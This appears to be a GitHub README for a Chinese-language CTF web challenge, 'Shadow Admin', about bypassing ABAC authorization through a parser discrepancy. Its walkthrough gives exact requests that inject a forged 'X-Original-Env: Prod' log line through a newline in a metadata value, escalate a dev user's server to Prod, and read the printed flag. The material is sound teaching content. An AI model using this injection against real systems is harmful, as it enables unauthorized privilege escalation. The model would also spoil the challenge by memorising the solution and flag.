ShAd0W-byte/shadow-admin
GitHub: ShAd0W-byte/shadow-admin
一个 CTF 挑战,演示如何通过解析差异绕过 ABAC 授权机制。
Stars: 1 | Forks: 0
# 🕶️ 影子管理员
影子管理员是一个真实的、独立完整的 Web 渗透挑战。玩家扮演一个低权限的 `dev` 用户,必须在不修改授权逻辑本身的前提下,提升权限以读取生产服务器的备份(该备份受 ABAC 引擎保护)。
## 🧠 挑战概念
漏洞是 **通过解析差异导致的授权漂移** —— 一种真实世界中两个组件以不同方式解析相同数据的漏洞,攻击者利用它们之间的差距进行攻击。
在影子管理员中:
- **清理机器人(Janitor Bot)** 通过将服务器元数据序列化为基于行的格式来构建隔离日志,并在末尾附加系统键(如 `X-Original-Env`)。
- **恢复引擎(Restore Engine)** 读取这些日志,并信任 **第一个** 出现的 `X-Original-Env` 作为权威环境值。
- **元数据写入端点** 会拦截以 `X-` 开头的键,但不会阻止 **看起来像日志行** 的值。
利用链要求玩家:
1. 创建一个你拥有的 `Dev` 服务器。
2. 写入一个包含嵌入换行符和伪造的 `X-Original-Env: Prod` 行的元数据值。
3. 使服务器孤立化,触发清理机器人将其隔离并将伪造行写入日志。
4. 恢复服务器 —— 恢复引擎读取到注入的行并将其环境提升为 `Prod`。
5. 访问 `/prod/internal/backup` 端点,此时 ABAC 检查会通过,允许访问。
## 🏗️ 架构
```
shadow-admin/
├── app/
│ ├── main.py # FastAPI app, startup, routing
│ ├── auth.py # Fake auth — always returns the 'player' dev user
│ ├── abac.py # ABAC engine — pure logic, no DB, not exploited directly
│ ├── db.py # SQLAlchemy engine + session
│ ├── models.py # ORM models: User, Server, ServerMetadata, QuarantineLog
│ ├── routes/
│ │ ├── servers.py # Server lifecycle API (create, orphan, metadata, restore)
│ │ └── internal.py # /prod/internal/backup — flag endpoint
│ ├── templates/ # Jinja2 HTML templates (index, server, quarantine)
│ └── static/ # CSS + JS frontend
│
├── bot/
│ └── janitor.py # Background bot: orphaned → quarantined, builds log
│
├── restore/
│ └── restore.py # Restore engine: parses quarantine log, updates server state
│
├── migrations/
│ └── init.sql # DB schema + seed data (player, janitor-bot, decoy Prod servers)
│
├── dockerfile
├── docker-compose.yml
└── requirements.txt
```
## 🔐 ABAC 策略
授权引擎(`app/abac.py`)执行以下策略,且 **不会被利用修改**:
| 环境 | 访问条件 |
|------|----------|
| `Dev` | `server.owner_id == user.id` |
| `Prod` | `user.role == "admin"` **或** `server.owner_id == user.id` |
玩家起始角色为 `role: dev`。关键在于 ABAC 引擎本身是正确的 —— 漏洞存在于为其提供数据的管道中。
## 🚩 标志(Flag)
```
FLAG{shadow_admin_prod_backup_access}
```
在 ABAC 检查通过后,从 `GET /prod/internal/backup?server_id=` 获取。
## 🎮 渗透步骤详解
## 🛠️ 本地运行
### 前置条件
- Docker
- Docker Compose
### 启动挑战
```
git clone https://github.com/your-username/shadow-admin.git
cd shadow-admin
docker compose up --build
```
应用程序将在 **http://localhost:8000** 可用。
数据库会在首次启动时通过 `migrations/init.sql` 自动初始化。
### 停止
```
docker compose down -v # -v removes the postgres volume for a clean reset
```
## 🧩 组件摘要
| 组件 | 角色 | 说明 |
|------|------|------|
| `app/abac.py` | 授权引擎 | 纯逻辑设计,正确且未被利用 |
| `app/auth.py` | 认证存根 | 始终返回 `player` dev 用户 —— 专为 CTF 设计 |
| `bot/janitor.py` | 后台机器人 | 每 20 秒将元数据序列化到隔离日志 |
| `restore/restore.py` | 恢复引擎 | 基于行的解析器,易受首个匹配注入影响 |
| `app/routes/servers.py` | 服务器 API | ABAC 保护的接口 + 元数据写入端点 |
| `app/routes/internal.py` | 标志端点 | `GET /prod/internal/backup` —— ABAC 通过时返回标志 |
## 🧱 技术栈
| 层 | 技术 |
|----|------|
| 后端 | Python 3.11 / FastAPI |
| ORM | SQLAlchemy |
| 数据库 | PostgreSQL 15 |
| 模板 | Jinja2 |
| 服务器 | Uvicorn |
| 容器 | Docker + Docker Compose |
## 🎯 学习目标
完成此挑战后,玩家将理解:
- **授权漂移(Authorization Drift)** —— 当两个系统组件对相同数据的含义不一致时。
- **解析器差异攻击(Parser Discrepancy Attacks)** —— 利用数据写入与读取方式之间的差异。
- **日志注入(Log Injection)** —— 将控制字符或结构化内容嵌入用户提供的值中,并流入类日志格式。
- **ABAC 策略绕过(ABAC Policy Bypass)** —— 不直接修改策略引擎即可实现权限提升。
- **信任管道而非仅信任入口(Trusting the Pipeline, Not Just the Gate)** —— 即使授权检查正确,上游数据仍可被操控。
## ⚠️ 免责声明
本项目专为教育和 CTF 目的设计。所有漏洞均为故意设置。请勿在生产环境中部署此应用程序。
## 📄 许可证
MIT
点击展开完整渗透链
### 步骤 1 — 创建 Dev 服务器 ``` POST /servers?name=myserver ``` 注意返回的 `server_id`。 ### 步骤 2 — 通过元数据注入伪造的日志行 ``` POST /servers/{server_id}/metadata Content-Type: application/json { "key": "info", "value": "normal-value\nX-Original-Env: Prod" } ``` `update_metadata` 端点会拦截以 `X-` 开头的键,但对 **包含换行符或 `X-` 内容的值** 没有限制。 ### 步骤 3 — 使服务器孤立化 ``` POST /servers/{server_id}/orphan ``` 这会将 `owner_id` 设为 `NULL`,并将 `status` 设为 `orphaned`。 ### 步骤 4 — 等待清理机器人 机器人每 20 秒运行一次。它会选中孤立服务器,将所有元数据序列化为日志文件,然后追加: ``` X-Original-Env: Dev system_status: quarantined ``` 因为注入的值包含换行符,日志现在变为: ``` info: normal-value X-Original-Env: Prod ← injected — appears FIRST X-Original-Env: Dev ← real — appended by bot system_status: quarantined ``` ### 步骤 5 — 恢复服务器 ``` POST /servers/{server_id}/restore ``` 恢复引擎按行读取并取 **第一个** 匹配的 `X-Original-Env`。它将 `server.environment` 设为 `"Prod"`,并将 `server.owner_id` 设为玩家 ID。 ### 步骤 6 — 访问标志 ``` GET /prod/internal/backup?server_id={server_id} ``` ABAC 检查现在满足:环境为 `Prod`,且 `owner_id == player.id` → **授权通过**。 ``` { "backup": "FLAG{shadow_admin_prod_backup_access}" } ```标签:ABAC, AV绕过, Dev用户, FastAPI, Python, SQLAlchemy, Web安全, 元数据注入, 协议分析, 安全挑战, 实战演练, 授权绕过, 无后门, 日志伪造, 日志注入, 服务器隔离, 权限提升, 权限绕过, 注入漏洞, 测试用例, 漏洞链, 版权保护, 生产环境, 网络安全, 自定义脚本, 蓝队分析, 解析差异漏洞, 认证绕过, 请求拦截, 逆向工具, 隐私保护